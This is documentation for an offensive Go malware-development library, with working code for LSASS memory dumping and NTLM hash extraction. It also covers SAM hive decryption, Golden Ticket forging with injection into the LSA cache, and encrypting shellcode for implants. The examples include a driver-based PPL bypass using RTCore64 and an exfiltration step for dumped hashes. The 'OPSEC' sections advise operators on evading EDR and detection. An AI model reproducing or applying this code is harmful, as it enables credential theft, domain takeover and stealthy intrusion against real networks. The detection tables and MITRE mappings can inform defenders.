CloseLSASS(h uintptr) error (Windows)

godoc

NtClose wrapper.

LsassPID(caller *wsyscall.Caller) (uint32, error) (Windows)

godoc

Resolve lsass.exe's PID without opening it. Used by the PPL bypass path to find the EPROCESS to unprotect.

Dump(h uintptr, w io.Writer, caller *wsyscall.Caller) (Stats, error) (Windows)

godoc

Emit MINIDUMP bytes to w for the process referenced by h. w may be a file, a bytes.Buffer, or an encrypted/transport stream — the dump is stream-friendly (writes flow directly out).

DumpToFile(path string, caller *wsyscall.Caller) (Stats, error) (Windows)

godoc

Convenience: OpenLSASS + Dump(h, file, caller) + Sync + Close.

DumpToFileVia(creator stealthopen.Creator, path string, caller *wsyscall.Caller) (Stats, error) (Windows)

godoc

Same as DumpToFile but routes the on-disk landing through the operator-supplied stealthopen.Creator. nil falls back to a *StandardCreator (plain os.Create — identical to DumpToFile); non-nil layers transactional NTFS, encrypted streams, ADS, or any operator-controlled write primitive on top of the minidump landing. The minidump byte stream itself is unchanged — Dump(h, w, caller) writes into the WriteCloser the Creator returns. os.File-only Sync is best-effort: when the Creator returns something other than *os.File, durability semantics are delegated to the Creator's Close.

Unprotect(rw driver.ReadWriter, eprocess uintptr, tab PPLOffsetTable) (PPLToken, error)

godoc

Zero EPROCESS.Protection (and the SignatureLevel siblings) via the supplied kernel ReadWriter (typically RTCore64). Returns the original bytes for Reprotect.

Reprotect(rw driver.ReadWriter, tok PPLToken) error

godoc

Restore Protection / SignatureLevel from tok. Always defer this call.

FindLsassEProcess(rw driver.ReadWriter, lsassPID uint32, opener stealthopen.Opener, caller *wsyscall.Caller) (uintptr, error)

godoc

Walk PsActiveProcessLinks via the kernel ReadWriter and return the EPROCESS VA matching lsassPID. Combines the Discover* helpers internally.

Discover* family

godoc

Pure-Go on-disk PE parsing — runs cross-platform. Each helper accepts a stealthopen.Opener (nil = os.Open) so the ntoskrnl.exe read can route through an EDR-bypass file strategy.

HelperReturns
DiscoverProtectionOffset(path, opener)EPROCESS.Protection byte offset
SignatureLevelOffset(prot)prot − 2
SectionSignatureLevelOffset(prot)prot − 1
DiscoverUniqueProcessIdOffset(path, opener)UniqueProcessId offset
DiscoverActiveProcessLinksOffset(upid)upid + sizeof(HANDLE) (8 on x64)
DiscoverInitialSystemProcessRVA(path, opener)RVA of PsInitialSystemProcess export in ntoskrnl

Examples

Simple — dump unprotected lsass to file

import (
    "fmt"

    "github.com/oioio-space/maldev/credentials/lsassdump"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
stats, err := lsassdump.DumpToFile(`C:\Users\Public\lsass.dmp`, caller)
if err != nil {
    panic(err)
}
fmt.Printf("dumped %d regions, %d MB\n", stats.Regions, stats.BytesRead>>20)

Composed — dump in-memory + parse without disk

Pipe the MINIDUMP through a bytes.Buffer straight into sekurlsa.Parse:

import (
    "bytes"
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
if err != nil {
    panic(err)
}
defer lsassdump.CloseLSASS(h)

var buf bytes.Buffer
if _, err := lsassdump.Dump(h, &buf, caller); err != nil {
    panic(err)
}
res, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
if err != nil {
    panic(err)
}
defer res.Wipe()

Advanced — PPL bypass via RTCore64

When RunAsPPL=1, drop the protection byte through a kernel ReadWriter, dump, restore.

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

drv, err := rtcore64.Load(rtcore64.LoadOptions{})
if err != nil {
    panic(err)
}
defer drv.Unload()

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
pid, _ := lsassdump.LsassPID(caller)

ep, err := lsassdump.FindLsassEProcess(drv, pid, nil, caller)
if err != nil {
    panic(err)
}

protOff, _ := lsassdump.DiscoverProtectionOffset("", nil)
tab := lsassdump.PPLOffsetTable{Protection: protOff}

tok, err := lsassdump.Unprotect(drv, ep, tab)
if err != nil {
    panic(err)
}
defer lsassdump.Reprotect(drv, tok) //nolint:errcheck

if _, err := lsassdump.DumpToFile(`C:\Users\Public\ppl-lsass.dmp`, caller); err != nil {
    panic(err)
}

See ExampleDumpToFile.

OPSEC & Detection

ArtefactWhere defenders look
OpenProcess(lsass, PROCESS_VM_READ)Sysmon Event 10 (process access); the canonical "credential dumping" signal — fires regardless of which API surfaced the open
Sustained NtReadVirtualMemory against lsassEDR memory-access telemetry
Driver load (RTCore64)Sysmon Event 6 (driver loaded), Microsoft vulnerable-driver blocklist
Write of a .dmp fileEDR file-write heuristics flagging dump files in user-writable paths
Calls to MiniDumpWriteDumpDbgHelp hook (we don't use it — but the absence is itself a tell)
EPROCESS.Protection byte transitionETW Threat-Intelligence provider (Win11 22H2+)

D3FEND counters:

  • D3-PSA — flags driver-load + lsass-open combos.
  • D3-SICA — kernel-driver load auditing.
  • D3-FCA — MINIDUMP magic on disk.

Hardening for the operator:

  • Stream the dump through a bytes.Buffer + sekurlsa.Parse in-process — no .dmp file ever lands.
  • Route Nt* through indirect syscalls (wsyscall.MethodIndirect).
  • Open lsass with the minimum access mask the dump needs (PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION).
  • Defer Reprotect — never leave lsass unprotected on a crash path.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1003.001OS Credential Dumping: LSASS Memoryfull — region walk + MINIDUMP buildD3-PSA, D3-SICA
T1068Exploitation for Privilege Escalationpartial — PPL bypass via signed-but-vulnerable driverD3-SICA

Limitations

  • Windows-only build/dump pipeline. Pure Go on-disk PE parsing (Discover*) runs cross-platform — analysts can resolve EPROCESS offsets from a captured ntoskrnl.exe on Linux/CI.
  • No WoW64 dumps. Modern lsass is x64; legacy WoW64 not supported.
  • Driver visibility. RTCore64 is a Microsoft-blocklisted vulnerable driver as of recent vulnerable-driver blocklist updates; on hardened systems the driver load itself is blocked. Plan for vBO (very few alternative drivers) or alternative PPL bypasses.
  • No thread context capture. ThreadList is a stub — full per-thread context is not emitted. sekurlsa doesn't need it; some legacy tooling (windbg !analyze) does.
  • Protection-byte race. Between Unprotect and OpenLSASS there is a microsecond window where lsass is unprotected. Defenders with continuous EPROCESS monitoring (rare) can spot the transition.

See also

LSASS Parsing — In-Process Credential Extraction

← Credentials area README · docs/index

MITRE ATT&CK: T1003.001 — OS Credential Dumping: LSASS Memory Package: credentials/sekurlsa Platform: Cross-platform (pure Go) Detection: Low — runs entirely in the implant's own address space, no Win32 calls


Primer

credentials/lsassdump (the producer, see lsass-dump.md) captures lsass.exe's memory into a MINIDUMP blob. To use the blob the operator historically had to round-trip it through mimikatz on a different host or pypykatz on a Linux analyst box — which means exfil-ing a 50 MB+ file, leaving it on disk somewhere, and depending on a Python runtime + 50 MB of crypto deps for the analyst.

credentials/sekurlsa is the consumer — pure-Go MINIDUMP parsing + in-process credential extraction, so the implant pipeline becomes:

PROCESS_VM_READ → MINIDUMP bytes (in-memory) → MSV1_0 hashes (in-memory) → wipe

No disk artefact. No exfil. No external dependency.

v1 (v0.23.0) extracts MSV1_0 NTLM hashes — the dominant pivot for pass-the-hash workflows. WDigest plaintext, Kerberos tickets, and DPAPI master keys are scoped follow-ups on top of v1's LSA-key extraction layer.


How It Works

sequenceDiagram
    participant Caller
    participant Parse as "sekurlsa.Parse"
    participant Reader as "MINIDUMP reader"
    participant Crypto as "LSA crypto"
    participant Walker as "MSV1_0 walker"

    Caller->>Parse: Parse(reader, size)
    Parse->>Reader: openReader → header + directory + 4 streams
    Reader-->>Parse: SystemInfo, Modules, Memory64List
    Parse->>Parse: templateFor(BuildNumber)
    Parse->>Reader: ModuleByName("lsasrv.dll") + ("msv1_0.dll")
    Parse->>Crypto: extractLSAKeys(lsasrv, template)
    Crypto->>Reader: ReadVA(lsasrv.Base, lsasrv.Size)
    Crypto->>Crypto: findPattern(IV/3DES/AES) + derefRel32 + readPointer
    Crypto->>Crypto: parseBCryptKeyDataBlob → crypto.cipher.Block
    Crypto-->>Parse: *lsaKey (IV + AES + 3DES)
    Parse->>Walker: extractMSV1_0(msv1_0, template, keys)
    Walker->>Walker: derefRel32 → LogonSessionList head VA
    loop for each bucket × Flink chain
        Walker->>Reader: ReadVA(node, NodeSize)
        Walker->>Reader: ReadVA(UNICODE_STRING.Buffer)
        Walker->>Reader: ReadVA(PrimaryCredentials.Buffer)
        Walker->>Crypto: decryptLSA(ciphertext, lsaKey)
        Walker->>Walker: parseMSV1_0Primary → NT/LM/SHA1
    end
    Walker-->>Parse: []LogonSession
    Parse-->>Caller: *Result

The crypto layer mirrors BCryptKeyDataBlobImport's logic: parse a 12-byte BCRYPT_KEY_DATA_BLOB_HEADER (magic KDBM, version 1, cbKeyData), then import the trailing payload into crypto/aes (16 bytes) or crypto/des (24 bytes). The IV is plain bytes, no header.

CBC decryption picks the cipher by ciphertext alignment: 16-aligned goes through AES, 8-aligned-but-not-16 goes through 3DES. Same heuristic pypykatz uses.


Simple Example

package main

import (
    "fmt"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

func main() {
    result, err := sekurlsa.ParseFile(`C:\ProgramData\Intel\snapshot.dmp`)
    if err != nil {
        log.Fatal(err)
    }
    defer result.Wipe()

    fmt.Printf("Build %d %s — %d sessions\n",
        result.BuildNumber, result.Architecture, len(result.Sessions))

    for _, s := range result.Sessions {
        for _, c := range s.Credentials {
            if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
                fmt.Println(msv.String()) // pwdump format
            }
        }
    }
}

Result.Wipe overwrites every hash buffer in place after the caller's loop — pair with cleanup/memory.SecureZero on any other slice you held the hash bytes in.


Advanced — registering a custom Template

When the dump's BuildNumber doesn't match a registered template, Parse returns (partial Result, ErrUnsupportedBuild). The partial result still carries BuildNumber + Architecture + Modules so the operator can detect the gap, register a template, and retry:

package main

import (
    "errors"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

func init() {
    // Win11 24H2 (build 26100) — patterns derived offline from the
    // Microsoft-shipped lsasrv.dll for this CU. See README.md for
    // the workflow.
    _ = sekurlsa.RegisterTemplate(&sekurlsa.Template{
        BuildMin:                26100,
        BuildMax:                26100,
        IVPattern:               []byte{ /* operator-derived bytes */ },
        IVOffset:                0x3F,
        Key3DESPattern:          []byte{ /* … */ },
        Key3DESOffset:           -0x59,
        KeyAESPattern:           []byte{ /* … */ },
        KeyAESOffset:            0x10,
        LogonSessionListPattern: []byte{ /* … */ },
        LogonSessionListOffset:  0x17,
        LogonSessionListCount:   64,
        MSVLayout: sekurlsa.MSVLayout{
            NodeSize:          0x110,
            LUIDOffset:        0x10,
            UserNameOffset:    0x90,
            LogonDomainOffset: 0xA0,
            LogonServerOffset: 0xB0,
            LogonTypeOffset:   0xC8,
            CredentialsOffset: 0xD8,
        },
    })
}

func main() {
    result, err := sekurlsa.ParseFile("snapshot.dmp")
    switch {
    case errors.Is(err, sekurlsa.ErrUnsupportedBuild):
        log.Fatalf("build %d not covered; register a template", result.BuildNumber)
    case errors.Is(err, sekurlsa.ErrLSASRVNotFound):
        log.Fatal("dump missing lsasrv.dll module — wrong process?")
    case err != nil:
        log.Fatal(err)
    }
    defer result.Wipe()
    log.Printf("extracted %d sessions on build %d", len(result.Sessions), result.BuildNumber)
}

Composed — Producer + Consumer in one process

The point of a pure-Go consumer: dump → extract → wipe without ever touching disk or shipping a second binary to the operator.

package main

import (
    "bytes"
    "fmt"
    "log"

    "github.com/oioio-space/maldev/credentials/sekurlsa"
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/cleanup/memory"
)

func main() {
    // 1. Open lsass.
    h, err := lsassdump.OpenLSASS(nil) // nil = standard WinAPI; pass a *wsyscall.Caller for stealthier syscalls
    if err != nil {
        log.Fatal(err)
    }
    defer lsassdump.CloseLSASS(h)

    // 2. Dump into an in-memory buffer.
    var buf bytes.Buffer
    if _, err := lsassdump.Dump(h, &buf, nil); err != nil {
        log.Fatal(err)
    }

    // 3. Parse the bytes still in memory.
    result, err := sekurlsa.Parse(bytes.NewReader(buf.Bytes()), int64(buf.Len()))
    if err != nil {
        log.Fatal(err)
    }
    defer result.Wipe()

    // 4. Use the credentials.
    for _, s := range result.Sessions {
        for _, c := range s.Credentials {
            if msv, ok := c.(sekurlsa.MSV1_0Credential); ok && msv.Found {
                fmt.Println(msv.String())
            }
        }
    }

    // 5. Wipe the dump bytes from the Go heap.
    memory.SecureZero(buf.Bytes())
}

Layered with PPL bypass via BYOVD when the lsass process is RunAsPPL=1:

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

// 1. Bring up RTCore64 driver.
var d rtcore64.Driver
if err := d.Install(); err != nil { panic(err) }
defer d.Uninstall()

// 2. EPROCESS unprotect lsass — caller resolves the EPROCESS via
//    an upstream walk (see lsass-dump.md).
tok, _ := lsassdump.Unprotect(&d, lsassEProcess, lsassdump.PPLOffsetTable{
    Build: 19045, ProtectionOffset: 0x87A,
})
defer lsassdump.Reprotect(tok, &d)

// 3. Open + Dump + Parse — same as above. With PS_PROTECTION zeroed,
//    the userland NtOpenProcess(VM_READ) succeeds.

Limitations

  • Templates required. v1 ships the framework; per-build templates ship under any license as community contributions verified against real dumps. The RegisterTemplate(t) opt-in lets operators ship their own without forking.
  • MSV1_0 only. WDigest, Kerberos, DPAPI, LiveSSP / TSPkg / CloudAP are each their own follow-up chantier on top of v1's crypto layer.
  • x64 only. WoW64 32-bit dumps are vanishingly rare on modern Windows and not in v1 scope.
  • Credential Guard / LSAISO sessions appear in the list but the payloads are kernel-isolated ciphertext — surfaced as Result.Warnings, not fatal errors.
  • No live-process attach. A mimikatz!sekurlsa-style direct attach to lsass is a separate chantier (credentials/lsalive) that needs PPL bypass + much louder OPSEC. The dump-then-parse pipeline gives most of the value with a fraction of the noise.
  • .kirbi export composes via stealthopen.Creator. (*KerberosTicket).ToKirbiFile(dir) lands the file via plain os.Create; pair with ToKirbiFileVia(creator, dir) to route the write through the operator's primitive (transactional NTFS, encrypted-stream wrapper, ADS, raw NtCreateFile). Same []byte content; same filename.

API Reference

See docs/credentials.md for the inline API reference. Sentinel errors (ErrNotMinidump, ErrUnsupportedBuild, ErrLSASRVNotFound, ErrMSV1_0NotFound, ErrKeyExtractFailed) are all errors.Is-dispatchable.

See also

SAM hive dump

← credentials index · docs/index

TL;DR

Decrypt local NT hashes from a Windows SAM hive (with SYSTEM supplying the boot key). Pure-Go REGF parser + AES/RC4/DES crypto; runs cross-platform once the operator has the hive bytes in hand. LiveDump shells out to reg save for live acquisition (Windows-only, loud on EDR).

Primer

Local Windows accounts live in the SAM registry hive under SAM\Domains\Account. Each user's NT/LM hash is stored encrypted — two layers of crypto stand between the on-disk bytes and a usable hash:

  1. The boot key (syskey) is split across four Lsa\{JD,Skew1,GBG,Data} class strings in the SYSTEM hive, permuted at boot to defeat trivial copies. Reassembling it requires the SYSTEM hive.
  2. The boot key encrypts the hashed bootkey stored in SAM\Domains\Account\F — itself an AES-128-CBC blob keyed on MD5(bootKey || rid_str || qwerty || rid_str) (legacy revision uses RC4).
  3. The hashed bootkey then derives per-user keys (RC4 or AES-128-CBC depending on the revision tag in F). Per-user keys decrypt the 16-byte LM and NT hash blobs in SAM\Domains\Account\Users\<RID>\V.
  4. Modern Windows (10 1607+) also wraps the hashes in a final DES permutation keyed on the RID — same algorithm Windows itself uses to look up the hash at logon.

samdump.Dump runs the entire chain in process memory with no syscalls. The hive bytes can come from anywhere — reg save, VSS shadow copy, raw NTFS read, recon/shadowcopy, or pulled offline from a backup. The package itself opens nothing.

How It Works

flowchart TD
    SYS[SYSTEM hive bytes] --> EBK[extractBootKey<br>permute Lsa class strings]
    EBK -->|16-byte boot key| HBK
    SAM[SAM hive bytes] --> RDF[readDomainAccountF<br>AES-encrypted blob]
    RDF --> HBK[deriveDomainKey<br>AES-128-CBC]
    HBK -->|hashed bootkey| LU
    SAM --> LU[listUserRIDs<br>walk Users key]
    LU --> PV[parseUserV<br>extract username + LM/NT enc]
    PV --> DEC[decryptUserNT / decryptUserLM<br>per-RID DES-permute<br>+ AES-128-CBC or RC4]
    DEC --> ACC[Account&#123;Username, RID, NT, LM&#125;]

Implementation details:

  • The REGF reader (hive.go) walks named keys and value records through nk / vk cells without depending on golang.org/x/sys or any Windows-only API — cross-platform out of the box.
  • Per-user failures are accumulated on Result.Warnings rather than aborting the dump; structural failures (missing boot key, malformed F, no Users key) return ErrDump.
  • Account.Pwdump renders the canonical username:RID:LM:NT::: format consumed by hashcat (-m 1000), John (--format=NT), CrackMapExec NTLM hash auth, and impacket secretsdump.

API Reference

type Account

godoc

One decrypted user record.

FieldTypeDescription
UsernamestringUTF-16 decoded sAMAccountName
RIDuint32Relative identifier (numeric SID component)
LM[]byte16-byte LM hash, or nil when inactive
NT[]byte16-byte NT (MD4) hash, or nil when inactive

Account.Pwdump() formats one secretsdump line. Empty hashes render as the all-zeros sentinel.

type Result

godoc

Aggregate output of a successful dump.

FieldTypeDescription
Accounts[]AccountOne entry per user RID
Warnings[]stringNon-fatal per-user anomalies (parse / decrypt failures, missing optional fields)

Result.Pwdump() renders the multi-line pwdump file.

Dump(systemHive, systemSize, samHive, samSize) (Result, error)

godoc

Run the full offline algorithm. Both readers must support ReadAt over the entire hive bytes; Dump loads each into memory once. No syscalls, cross-platform.

Returns: Result with per-user accounts; error wrapping ErrDump on structural failure.

LiveDump(dir string) (Result, string, string, error) (Windows)

godoc

Acquire the live SYSTEM + SAM hives via reg save to dir, then run Dump against them. Returns the Result plus the on-disk paths (system.hive, sam.hive) so the operator can re-feed the files to other tooling without re-acquiring.

Side effects: spawns reg.exe; writes hive files to disk. Requires admin + SeBackupPrivilege.

Returns: error wrapping ErrLiveDump if reg save or the underlying Dump fails.

Examples

Simple — offline hives

import (
    "fmt"
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
)

system, _ := os.Open(`/loot/SYSTEM`)
defer system.Close()
sam, _ := os.Open(`/loot/SAM`)
defer sam.Close()

sysFI, _ := system.Stat()
samFI, _ := sam.Stat()

res, err := samdump.Dump(system, sysFI.Size(), sam, samFI.Size())
if err != nil {
    panic(err)
}
fmt.Print(res.Pwdump())

Composed — live host, cleanup, exfil

import (
    "os"

    "github.com/oioio-space/maldev/credentials/samdump"
    "github.com/oioio-space/maldev/cleanup/wipe"
)

dir, _ := os.MkdirTemp("", "")
res, sysPath, samPath, err := samdump.LiveDump(dir)
defer func() {
    _ = wipe.File(sysPath)
    _ = wipe.File(samPath)
    _ = os.RemoveAll(dir)
}()
if err != nil {
    panic(err)
}
exfilPwdump(res.Pwdump())

Advanced — VSS shadow-copy acquisition

reg save is loud. For better OPSEC, acquire the hives via VSS shadow copies through recon/shadowcopy and feed the files into the offline Dump path:

sc, _ := shadowcopy.Create()
defer sc.Delete()

sysReader, _ := sc.Open(`Windows\System32\config\SYSTEM`)
samReader, _ := sc.Open(`Windows\System32\config\SAM`)

res, err := samdump.Dump(sysReader, sysReader.Size(),
    samReader, samReader.Size())

See ExampleDump for the runnable variant.

OPSEC & Detection

ArtefactWhere defenders look
reg save HKLM\SAM / HKLM\SYSTEMSysmon Event 1 (process creation) — reg.exe with save is one of the highest-fidelity credential-dumping signals
Two .hive files written to a writable directoryEDR file-write telemetry; staging directories under %TEMP% are correlated with credential dumping
RegSaveKeyEx Windows API callETW Microsoft-Windows-Kernel-Registry; bypassable via direct NtSaveKey syscall
Read access to HKLM\SAM SDDefender ASR rule "Block credential stealing from the Windows local security authority subsystem" (LSA-only, but heuristics overlap)

D3FEND counters:

  • D3-PSA — flags reg.exe save lineage.
  • D3-FCA — REGF magic on disk in atypical paths.
  • D3-SICA — registry hive-handle telemetry.

Hardening for the operator:

  • Prefer offline acquisition (VSS via recon/shadowcopy, raw NTFS read, backup files) over LiveDump.
  • Stage hive bytes through an in-memory io.ReaderAt (e.g. bytes.NewReader) to avoid the .hive files on disk altogether.
  • Wipe the dir immediately after parsing — cleanup/wipe.File zeroes the bytes before unlinking.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1003.002OS Credential Dumping: Security Account Managerfull — offline + LiveDumpD3-PSA, D3-FCA, D3-SICA

Limitations

  • Local accounts only. SAM holds only the workstation's local users. Domain credentials live in NTDS.dit on the DC; use separate tooling (impacket secretsdump remote, mimikatz lsadump::dcsync).
  • No history. Earlier NT/LM hashes (password-history feature) are stored in additional V regions not currently parsed.
  • DPAPI / cached creds out of scope. Domain cached credentials (Cache{N}) live in SECURITY hive; SECURITY parsing is not in this package.
  • LiveDump is loud. reg.exe save lights up every behavioral EDR. Plan for offline acquisition wherever the operational context allows.
  • AES revision only validated against Win10 1607+. Older XP/2003 RC4-keyed hives use the legacy code path; tested less recently.

See also

Kerberos Golden Ticket

← credentials index · docs/index

TL;DR

Forge a long-lived Kerberos TGT off a stolen krbtgt hash. Forge marshals a KRB-CRED blob with a custom PAC (Domain Admins, arbitrary lifetime) and signs it with the krbtgt's RC4-HMAC / AES128-CTS / AES256-CTS key. Submit injects the kirbi into the calling user's LSA cache so subsequent Kerberos auth uses the forged TGT.

Primer

Kerberos TGTs are signed by krbtgt, a domain-wide service account whose long-term key never leaves a domain controller. Anyone holding the krbtgt key can mint a TGT for any principal — there is no online check until the next krbtgt rotation. Microsoft recommends rotating krbtgt twice per year; in the wild it is typically rotated never.

The forged TGT carries a Privilege Attribute Certificate (PAC) inside its EncTicketPart. The PAC is the authorization data: it declares which groups the principal belongs to. By forging the PAC the operator claims Domain Admins, Enterprise Admins, Schema Admins, and Group Policy Creator Owners regardless of what the AD database says. The PAC also fixes a LogonTime and KickoffTime — set the kickoff 10 years in the future and the ticket is valid for a decade.

Two PAC signatures (server checksum + KDC checksum) protect the PAC from tampering; both are computed with the krbtgt key, so once you have the key you control the signatures too. Member servers typically don't validate the KDC checksum (the PAC_VALIDATE_TICKET callback is rarely wired up), making the ticket usable everywhere.

The package supports the three crypto suites Active Directory shipped with NT 4 → today: RC4-HMAC (NT hash, 16 bytes; legacy but universally present), AES128-CTS-HMAC-SHA1-96 (16 bytes), and AES256-CTS-HMAC-SHA1-96 (32 bytes). Modern AES-only domains accept RC4 tickets only when RC4_HMAC is explicitly enabled — check msDS-SupportedEncryptionTypes on the krbtgt object before choosing.

How It Works

flowchart LR
    P[Params<br>Domain + krbtgt hash<br>+ user/RID/groups] --> PAC[buildPAC<br>KERB_VALIDATION_INFO<br>+ PAC_CLIENT_INFO<br>+ 2× PAC_SIGNATURE_DATA]
    PAC --> ETP[EncTicketPart<br>flags + cname + crealm<br>+ key + AuthTime/EndTime<br>+ AuthorizationData=PAC]
    ETP --> ENC[encrypt with krbtgt key<br>RC4 / AES128 / AES256]
    ENC --> KC[KRB-CRED<br>kirbi blob]
    KC --> OUT{output}
    OUT -->|Forge returns bytes| DISK[ccache / .kirbi file<br>cross-platform]
    OUT -->|Submit on Windows| LSA[LsaCallAuthenticationPackage<br>KerbSubmitTicketMessage]
    LSA --> CACHE[per-LUID TGT cache]

Implementation details:

  • The PAC server signature covers the encrypted ticket bytes; the KDC signature covers the server signature. Both are HMAC-MD5 for RC4 / HMAC-SHA1-96 for AES — keyed on the krbtgt long-term key, which is also the ticket-encryption key.
  • default_templates.go ships DefaultAdminGroups{512, 513, 518, 519, 520} (Domain Admins, Domain Users, Schema Admins, Enterprise Admins, Group Policy Creator Owners).
  • Forge is deterministic for a fixed Params + a fixed Params.NowFunc — useful for tests and reproducibility.
  • Submit calls LsaCallAuthenticationPackage with KerbSubmitTicketMessage. The kirbi is written into the calling user's per-LUID cache; the next outbound Kerberos operation from the process picks it up. No domain controller contact is required.

API Reference

type EType int

godoc

Encryption type for the krbtgt long-term key. Constants:

ValueNameHash size
ETypeRC4HMACrc4-hmac16 bytes (NT hash)
ETypeAES128CTSHMACSHA196aes128-cts-hmac-sha1-9616 bytes
ETypeAES256CTSHMACSHA196aes256-cts-hmac-sha1-9632 bytes

type Hash struct

godoc

The krbtgt long-term key. EType selects the algorithm; Bytes must match the size for that EType.

type Params struct

godoc

Forge inputs. Required fields: Domain, DomainSID, Hash. All others have sensible defaults — minimal usage is

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash:      goldenticket.Hash{EType: goldenticket.ETypeAES256CTSHMACSHA196, Bytes: aes256Bytes},
}

The defaults yield "Administrator (RID 500), every admin group, 10-year lifetime" — the standard mimikatz Golden Ticket recipe.

var DefaultAdminGroups

godoc

[]uint32{512, 513, 518, 519, 520}. Used when Params.Groups is nil or empty.

Forge(p Params) ([]byte, error)

godoc

Build and encrypt the kirbi. Cross-platform pure Go.

Returns: []byte containing the KRB-CRED blob (kirbi format, binary-compatible with mimikatz / Rubeus / klist outputs).

Submit(kirbi []byte) error (Windows)

godoc

Inject the kirbi into the calling user's LSA TGT cache via LsaCallAuthenticationPackage(KerbSubmitTicketMessage). The process must already hold a logon session — typically any interactive or non-anonymous process satisfies this.

Side effects: writes one TGT into the calling user's per-LUID cache. Does not contact a DC.

Examples

Simple — forge with defaults, write to disk

import (
    "os"

    "github.com/oioio-space/maldev/credentials/goldenticket"
)

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash: goldenticket.Hash{
        EType: goldenticket.ETypeAES256CTSHMACSHA196,
        Bytes: aes256KrbtgtKey,
    },
}
kirbi, err := goldenticket.Forge(p)
if err != nil {
    panic(err)
}
_ = os.WriteFile("admin.kirbi", kirbi, 0600)

Composed — forge + inject into current process

kirbi, err := goldenticket.Forge(p)
if err != nil {
    panic(err)
}
if err := goldenticket.Submit(kirbi); err != nil {
    panic(err)
}
// any subsequent Kerberos call (SMB, LDAP, RDP) from this process
// authenticates as p.User with the forged group memberships.

Advanced — chained off the sekurlsa extractor

import (
    "github.com/oioio-space/maldev/credentials/goldenticket"
    "github.com/oioio-space/maldev/credentials/sekurlsa"
)

res, _ := sekurlsa.ParseFile(`C:\dc01-lsass.dmp`, nil)
defer res.Wipe()

// Find the krbtgt session in the parsed dump.
var krbtgtKey []byte
for _, sess := range res.Sessions {
    if sess.UserName == "krbtgt" {
        for _, c := range sess.Credentials {
            if msv, ok := c.(*sekurlsa.MSVCredential); ok {
                krbtgtKey = msv.NTHash
            }
        }
    }
}

p := goldenticket.Params{
    Domain:    "corp.example.com",
    DomainSID: "S-1-5-21-1111-2222-3333",
    Hash: goldenticket.Hash{
        EType: goldenticket.ETypeRC4HMAC,
        Bytes: krbtgtKey,
    },
}
kirbi, _ := goldenticket.Forge(p)
_ = goldenticket.Submit(kirbi)

See ExampleForge

OPSEC & Detection

ArtefactWhere defenders look
TGT lifetime > MaxTicketLifetime (default 10h)Kerberos audit (Event 4769); long-lived tickets stand out trivially
Domain Admins membership for an account that doesn't have it in ADLDAP cross-checks against actual memberOf
RC4 etype on a domain that enforces AESEvent 4769 with Ticket Encryption Type 0x17 — anomalous on modern domains
LsaCallAuthenticationPackage from non-Lsass processEDR API telemetry (Defender for Identity, MDE)
Ticket reuse from atypical workstationsAuthentication-source IP correlation

D3FEND counters:

  • D3-AZET — flags long-lived TGTs and unexpected admin-group access.
  • D3-NTA — correlates Kerberos traffic to authentication-source anomalies.

Hardening for the operator:

  • Set Lifetime to a value the domain's policy actually allows (MaxTicketLifetime, default 10h) at the cost of frequent refreshes — reduces the loudest indicator.
  • Use the actual etype the domain expects; AES256 is the modern default.
  • Forge for a non-admin principal that legitimately needs broad access (Backup Operator, Replicator) instead of Administrator to dodge naive group-name allowlists.
  • Forge Forge on a Linux launchpad and only ship the kirbi to the target — the binary size on the Windows host stays minimal.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1558.001Steal or Forge Kerberos Tickets: Golden Ticketfull — Forge + SubmitD3-AZET, D3-NTA
T1550.003Use Alternate Authentication Material: Pass the Ticketpartial — Submit is the inject side; Forge produces the ticketD3-NTA

Limitations

  • krbtgt rotation defeats the ticket. AD silently retires forged TGTs after the second rotation — no error, the ticket simply stops decrypting.
  • No Diamond / Sapphire variants. This package forges classic Golden Tickets only; Diamond Tickets (modify-don't-forge) and Sapphire Tickets (modify a real TGT's PAC via S4U2Self) are not in scope.
  • No Silver Ticket support. Silver Tickets target a service account's NTLM hash and forge service-specific TGS tickets; algorithm overlaps but PrincipalName and the encryption key are different — separate package.
  • Submit is per-process, per-LUID. The injected ticket only helps Kerberos calls from this process; child processes inherit the cache but unrelated processes do not.
  • PAC validation gap. Forge does not validate the produced PAC against MS-PAC §2 except by checksumming. Hand-crafted group RIDs that don't exist won't be rejected by the package itself — defenders can.

See also

Crypto techniques

← maldev README · docs/index

The crypto/ package supplies confidentiality and signature-breaking primitives for payload protection. Two surfaces sit side-by-side: strong AEAD ciphers for the outer envelope, and lightweight transforms for layered unpackers and signature defeat.

[!NOTE] Encoding (Base64, UTF-16LE, PowerShell -EncodedCommand) lives in docs/techniques/encode. Hashing (cryptographic + fuzzy + ROR13) lives in docs/techniques/hash.

TL;DR

flowchart LR
    SC[shellcode] -->|EncryptAESGCM| ENV[encrypted envelope]
    ENV -->|optional layers| OBF[XTEA / S-Box / Matrix]
    OBF --> EMBED[ship in implant]
    EMBED -.runtime.-> DEC[DecryptAESGCM]
    DEC --> WIPE[memory.SecureZero key]
    WIPE --> RUN[inject.Inject]

